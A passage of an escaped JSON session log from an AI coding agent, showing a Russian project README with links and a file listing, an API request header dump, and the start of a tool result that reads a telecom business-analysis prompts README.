\u0434\u0432\u043e\u0439\u043d\u0430\u044f \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u0430\u044f \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043f\u043e\u043a\u0430 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f\\n\u0434\u0435\u043b\u044c\u0442\u043e\u0439 Source.\\n\\n\u0424\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u0432\u0441\u0435\u0445 67 legacy-\u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0445 \u043a issue #605 \u0434\u0438\u0430\u043b\u043e\u0433\u043e\u0432,\\n\u043d\u0435\u0433\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u0438 \u0441\u0442\u0440\u043e\u0433\u0438\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b FR/UC/NFR \u0438 TM Forum binding \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f\\n\u0432\\n[\u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md).\\n\\n\u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u043e\u0442 \u0442\u0438\u043f\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e baseline \u043a \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u043e\u0439 Release-\u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438,\\n\u0432\u043a\u043b\u044e\u0447\u0430\u044f NFR\u2192FR, \u043e\u0431\u0440\u0430\u0442\u043d\u0443\u044e \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u044c \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438, \u043f\u0440\u0438\u043d\u044f\u0442 \u0432\\n[RFC Working Document \u2192 Release Document](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-working-release-pipeline.md).\\n\u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 [issue #609](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/609),\\n\u0441\u043a\u0432\u043e\u0437\u043d\u044b\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u0438 Source \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0432\\n[\u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0441\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-24-architecture-convergence-and-readiness.md).\\n\\n[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0435\u0434\u0438\u043d\u043e\u0433\u043e Source \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435 GigaCode CLI \u0438 Cline](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md)\\n\u043f\u043e issue #630 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442 20 \u0442\u043e\u0447\u0435\u043a \u0442\u0440\u0435\u043d\u0438\u044f \u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e\\n\u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0446\u0438\u043a\u043b\u0430; \u043f\u0430\u0440\u043d\u044b\u0435 \u0431\u043e\u0435\u0432\u044b\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c gate.\\n\\n## \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043e GigaCode CLI\\n\\n\u041f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0438 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0441\u0440\u0435\u0434\u044b \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u044b \u0432\\n[`docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md).\\nIssue [#593](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/593)\\n\u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u0443\u044e \u0447\u0430\u0441\u0442\u044c \u0432 Source\\n[`G-Ivan-A/hybrid-Intelligence-lab`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab)\\n\u0438 \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442 \u0432\u043d\u0435\u0448\u043d\u0438\u0439\\n`mango-ba-ai-runtime-cli`.\\n\\n## \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430\\n\\n\u0414\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u043d\u0438\u043c\u043a\u0438 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u044b **\u043d\u0435 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u044f\u0442\u0441\u044f**: \u043e\u043d\u0438\\n\u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432 [`research/ba-requirements/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/README.md)\\n\u043a\u0430\u043a \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0438 \u043a\u043e\u0440\u043f\u0443\u0441\u0430 \u043d\u0430 \u0434\u0430\u0442\u0443 \u0437\u0430\u043c\u0435\u0440\u0430. \u041c\u043e\u0434\u0443\u043b\u0438 \u0441\u0441\u044b\u043b\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043d\u0438\u0445,\\n\u0430 \u043d\u0435 \u043d\u0430\u043e\u0431\u043e\u0440\u043e\u0442:\\n\\n- [`2026-09-08-meta-model-inputs-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md);\\n- [`2026-09-09-legacy-normative-influence-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md);\\n- [`2026-09-10-process-taxonomy-defects-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-process-taxonomy-defects-facts.md);\\n- [`2026-09-10-gigacode-environment-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-gigacode-environment-facts.md);\\n- [`2026-09-10-skill-granularity-format-facts.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-10-skill-granularity-format-facts.md).\\n\\n## \u0420\u0435\u0448\u0435\u043d\u0438\u044f\\n\\n- [ADR-013](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-run-modes-deprecation.md)\\n  \u2014 \u0434\u0435\u043f\u0440\u0435\u043a\u0430\u0446\u0438\u044f \u0440\u0435\u0436\u0438\u043c\u043e\u0432 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043a\u0430\u043a \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438;\\n- [ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)\\n  \u2014 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\u043c, \u0430 \u043d\u0435 \u0431\u0430\u0437\u0438\u0441\u043e\u043c \u043d\u043e\u0432\u043e\u0439 \u043d\u043e\u0440\u043c\u044b;\\n- [ADR-015](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-015-process-operation-taxonomy-rebuild.md)\\n  \u2014 \u043f\u0435\u0440\u0435\u0441\u0431\u043e\u0440\u043a\u0430 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u043e\u0442 \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0431\u0430\u0437\u0438\u0441\u0430;\\n- [ADR-016](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-016-skill-form-and-contract-format.md)\\n  \u2014 \u043d\u0430\u0432\u044b\u043a \u043a\u0430\u043a \u0444\u043e\u0440\u043c\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0438, \u0444\u043e\u0440\u043c\u0430\u0442 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u043a\u0430\u043a \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u043c\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e;\\n- [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md)\\n  \u2014 \u043f\u0440\u0438\u043d\u044f\u0442\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 Source, Distribution, Runtime \u0438 Feedback.\\n- [ADR-018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-615-ab7082802ba9/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md)\\n  \u2014 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f GigaCode CLI.\\n- [ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-615-ab7082802ba9/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md)\\n  \u2014 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0439 \u0432\u044b\u0431\u043e\u0440 Cline \u0434\u043b\u044f \u043f\u0438\u043b\u043e\u0442\u0430 \u0441 Mango AI.\\n\\n## \u041f\u043e\u043b\u0438\u0442\u0438\u043a\u0430 \u0441\u0441\u044b\u043b\u043e\u043a\\n\\n\u0421\u0441\u044b\u043b\u043a\u0438 **\u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u0435** (\u043f\u043e\u043b\u043d\u044b\u0435 URL), \u043a\u0430\u043a \u0438 \u0432\u043e \u0432\u0441\u0451\u043c \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 `ba-requirements`.\\n\u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u2014 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u043d\u0443\u0442\u0440\u0438\u043c\u043e\u0434\u0443\u043b\u044c\u043d\u044b\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u0432\\n`40-practice-and-cases.md`, \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 P2\\n([`tools/validate-rrp-links.sh`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/tools/validate-rrp-links.sh)).\\n./ba-meta-model/10-theory.md\\n./ba-meta-model/20-taxonomy.md\\n./ba-meta-model/50-open-research.md\\n./ba-meta-model/30-decision-framework.md\\n./ba-meta-model/00-introduction.md\\n./ba-meta-model/40-practice-and-cases.md\\n./ba-meta-model/product-taxonomy/telecom-products.yaml\\n./ba-meta-model/product-taxonomy/mango-products.yaml\\n./ba-meta-model/operation-taxonomy/10-theory.md\\n./ba-meta-model/operation-taxonomy/20-taxonomy.md\\n./ba-meta-model/operation-taxonomy/50-open-research.md\\n./ba-meta-model/operation-taxonomy/30-decision-framework.md\\n./ba-meta-model/operation-taxonomy/00-introduction.md\\n./ba-meta-model/operation-taxonomy/40-practice-and-cases.md\\n./ba-meta-model/process-taxonomy/10-theory.md\\n./ba-meta-model/process-taxonomy/20-taxonomy.md\\n./ba-meta-model/process-taxonomy/50-open-research.md\\n./ba-meta-model/process-taxonomy/30-decision-framework.md\\n./ba-meta-model/process-taxonomy/00-introduction.md\\n./ba-meta-model/process-taxonomy/40-practice-and-cases.md\\n./decisions/2026-09-adr-017-ba-ai-process-source-distribution.md\\n./decisions/2026-09-adr-020-clean-distribution-package.md\\n./README.md\\n./experiments/.gitkeep\\n./experiments/issue_638_gigacode_input_checks.log\\n./experiments/issue_636_real_task_flow.sh\\n./experiments/issue_638_gigacode_smoke_guide.py\\n./experiments/issue_638_gigacode_full_route.log\\n./experiments/issue_638_gigacode_deploy_check.log\\n./experiments/issue_605_run_inventory.py\\n./experiments/issue_638_update_manifest_hashes.py\\n./experiments/issue_638_gigacode_full_route.py\\n./experiments/issue_638_gigacode_input_checks.py\\n./experiments/issue_639_runner_probes.log\\n./experiments/issue_636_seal.log\\n./experiments/issue_638_gigacode_kb_copy_check.log\\n./experiments/issue_636_check_links.py\\n./experiments/issue_639_runner_probes.py\\n./experiments/issue_639_gap_probes.log\\n./experiments/issue_638_gigacode_smoke_guide.log\\n./experiments/issue_636_real_task_flow.log\\n./experiments/issue_638_gigacode_smoke_flow.py\\n./experiments/issue_639_gap_probes.sh\\n./experiments/issue_638_gigacode_smoke_flow_data.py\\n./experiments/issue_638_windows_autocrlf.sh\\n./experiments/issue_638_gigacode_deploy_check.sh\\n./experiments/issue_638_gigacode_smoke_flow.log\\n./experiments/issue_636_seal.ps1\\n./experiments/issue_638_gigacode_kb_copy_check.sh\\n./docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md\\n./docs/rfc/2026-09-bcreq-working-release-pipeline.md\\n./docs/rfc/2026-09-source-pilot-verification.md\\n./docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md\\n./docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md\\n./docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md\\n./docs/analysis/2026-09-24-architecture-convergence-and-readiness.md\\n./docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md\\n./docs/analysis/2026-09-23-requirements-run-forensics.md\\n./docs/analysis/2026-09-29-cline-package-expectation-gap.md\\n./docs/analysis/2026-09-29-ba-ai-process-runtime-options.md\\n./meta-model-guides/README.md\\n./meta-model-guides/qwen-chat-runtime-migration-instruction.md\\n./meta-model-guides/gigacode-cli/mango-ba-ai-runtime-cli-user-guide.html\\n./meta-model-guides/gigacode-cli/screenshots/mango-ba-ai-runtime-cli-user-guide-preview.png\\n./tests/cline-package/test_package.py\\n./tests/execution-package/README.md\\n./tests/execution-package/fixtures/working-valid.json\\n./tests/execution-package/fixtures/straight-through.yaml\\n./tests/execution-package/fixtures/human-gate.yaml\\n./tests/execution-package/assertions/straight-through.yaml\\n./tests/execution-package/assertions/human-gate.yaml\\n./tests/execution-package/tests/test_guides.py\\n./tests/execution-package/tests/test_semantic_regression.py\\n./tests/execution-package/tests/test_runner.py\\n./tests/execution-package/tests/test_emulation.py\\n./tests/execution-package/tools/emulate-route.py\\n215\",\n[2026-09-29T07:44:33.428Z] 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   [Symbol(events.maxEventTargetListenersWarned)]: false,\n[2026-09-29T07:44:33.972Z] [STDOUT]       aborted: false,\n[2026-09-29T07:44:33.997Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:44:34.003Z] [STDOUT]       onabort: null,\n[2026-09-29T07:44:34.006Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:44:34.010Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:44:34.022Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:44:34.025Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:44:34.033Z] [STDOUT]     },\n[2026-09-29T07:44:34.037Z] [STDOUT]     stream: true,\n[2026-09-29T07:44:34.042Z] [STDOUT]   },\n[2026-09-29T07:44:34.045Z] [STDOUT]   headers: {\n[2026-09-29T07:44:34.049Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:44:34.059Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:44:34.066Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:44:34.075Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:44:34.085Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:44:34.088Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:44:34.094Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:44:34.098Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:44:34.104Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:44:34.108Z] [STDOUT]     \"x-claude-code-agent-id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:44:34.115Z] [STDOUT]     \"x-claude-code-agent-type\": \"general-purpose\",\n[2026-09-29T07:44:34.120Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1582\",\n[2026-09-29T07:44:34.128Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:44:34.132Z] [STDOUT]     \"x-claude-code-request-class\": \"subagent\",\n[2026-09-29T07:44:34.135Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:34.138Z] [STDOUT]     \"x-client-request-id\": \"7a3e1c7a-0410-437f-a881-39c48013037e\",\n[2026-09-29T07:44:34.143Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:44:34.151Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:44:34.157Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:44:34.164Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:44:34.167Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:44:34.173Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:44:34.175Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:44:34.181Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:44:34.187Z] [STDOUT]   },\n[2026-09-29T07:44:34.191Z] [STDOUT] }\n[2026-09-29T07:44:34.255Z] [INFO] {\n[2026-09-29T07:44:34.255Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:44:34.255Z] [INFO]   \"message\": {\n[2026-09-29T07:44:34.255Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:44:34.255Z] [INFO]     \"content\": [\n[2026-09-29T07:44:34.255Z] [INFO]       {\n[2026-09-29T07:44:34.255Z] [INFO]         \"tool_use_id\": \"toolu_01A73dqsbXiEYapSgnuqqTLL\",\n[2026-09-29T07:44:34.255Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:44:34.255Z] [INFO]         \"content\": \"---\\nstatus: canonical\\nversion: 2.4\\nupdated: 2026-08-21\\ntemperature: 0.1\\nowner: G-Ivan-A\\nresearch_deps:\\n  - \\\"docs/hub-research-dependencies.md#adr-009-repo-split\\\"\\n  - \\\"docs/hub-research-dependencies.md#separation-readiness\\\"\\n---\\n\\n# Mango BA Prompts\\n\\n> **\u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0432 \u043f\u0440\u043e\u0435\u043a\u0442\u0435 \u041c\u0430\u043d\u0433\u043e (\u0442\u0435\u043b\u0435\u043a\u043e\u043c).**\\n> \u0417\u0434\u0435\u0441\u044c \u0436\u0438\u0432\u0443\u0442 **\u0440\u0430\u0431\u043e\u0447\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0438 \u0438\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043f\u0430\u043c\u044f\u0442\u044c**: \u043f\u0440\u043e\u043c\u043f\u0442\u044b,\\n> \u043f\u0430\u0442\u0442\u0435\u0440\u043d\u044b, \u0431\u0430\u0437\u0430 \u0437\u043d\u0430\u043d\u0438\u0439 \u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 \u0411\u0410.\\n\\n`mango_ba_prompts` \u2014 standalone-\u043f\u0440\u043e\u0435\u043a\u0442 (\u0441\u043f\u043e\u043a), \u0432\u044b\u0440\u043e\u0441\u0448\u0438\u0439 \u0438\u0437 \u043f\u0440\u043e\u0435\u043a\u0442\u0430 Mango \u0432\\n\u043c\u043e\u043d\u043e\u0440\u0435\u043f\u043e-\u0425\u0430\u0431\u0435 \u0438 \u0442\u0435\u043f\u0435\u0440\u044c \u0436\u0438\u0432\u0443\u0449\u0438\u0439 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e. \u0421\u043f\u043e\u043a \u043d\u0435\u0441\u0451\u0442 **\u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u0443\u044e\\n\u0446\u0435\u043d\u043d\u043e\u0441\u0442\u044c** (\u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0438 \u0438\u0445 \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442). \u0424\u0443\u043d\u0434\u0430\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\\n\u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432 \u0425\u0430\u0431\u0435 \u2014 \u0441\u043f\u043e\u043a \u0441\u0441\u044b\u043b\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043d\u0438\u0445 \u0438\u0437 **\u043e\u0434\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0438**:\\n`docs/hub-research-dependencies.md` (\u0435\u0434\u0438\u043d\u044b\u0439 \u0440\u0435\u0435\u0441\u0442\u0440 research-\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439).\\n\\n## \ud83d\udd12 \u0420\u043e\u043b\u044c \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0438 \u0433\u0440\u0430\u043d\u0438\u0446\u044b\\n\\n| \u0412\u043e\u043f\u0440\u043e\u0441 | \u041e\u0442\u0432\u0435\u0442 |\\n| --- | --- |\\n| \u0427\u0442\u043e \u044d\u0442\u043e \u0437\u0430 \u043f\u0440\u043e\u0435\u043a\u0442? | \u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0432 \u043f\u0440\u043e\u0435\u043a\u0442\u0435 \u041c\u0430\u043d\u0433\u043e (\u0442\u0435\u043b\u0435\u043a\u043e\u043c). \u0420\u0435\u0448\u0435\u043d\u0438\u044f \u043f\u043e \u0432\u0438\u0434\u0435\u043d\u0438\u044e \u0438 \u0433\u0440\u0430\u043d\u0438\u0446\u0430\u043c \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c. |\\n| \u041f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0439 \u0438\u043b\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439? | \u0426\u0435\u043b\u0435\u0432\u0430\u044f \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u2014 **Private** (\u0440\u0435\u0448\u0435\u043d\u0438\u0435 ADR-009 v0.3). \u0421\u043c\u0435\u043d\u0430 \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u2014 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f; \u0434\u043e \u043d\u0435\u0451 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u043c, \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f \u0441\u0442\u0440\u043e\u0433\u043e. |\\n| \u041d\u0430 \u0447\u0451\u043c \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442? | **GitHub \u2014 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430** (issues, PR, Markdown) + **AI-\u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c** \u043a\u0430\u043a \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442. |\\n| \u0427\u0435\u0433\u043e \u0437\u0434\u0435\u0441\u044c \u043d\u0435\u0442? | \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b (serverless/VPS), \u043c\u0443\u043b\u044c\u0442\u0438\u0430\u0433\u0435\u043d\u0442\u043d\u043e\u0439 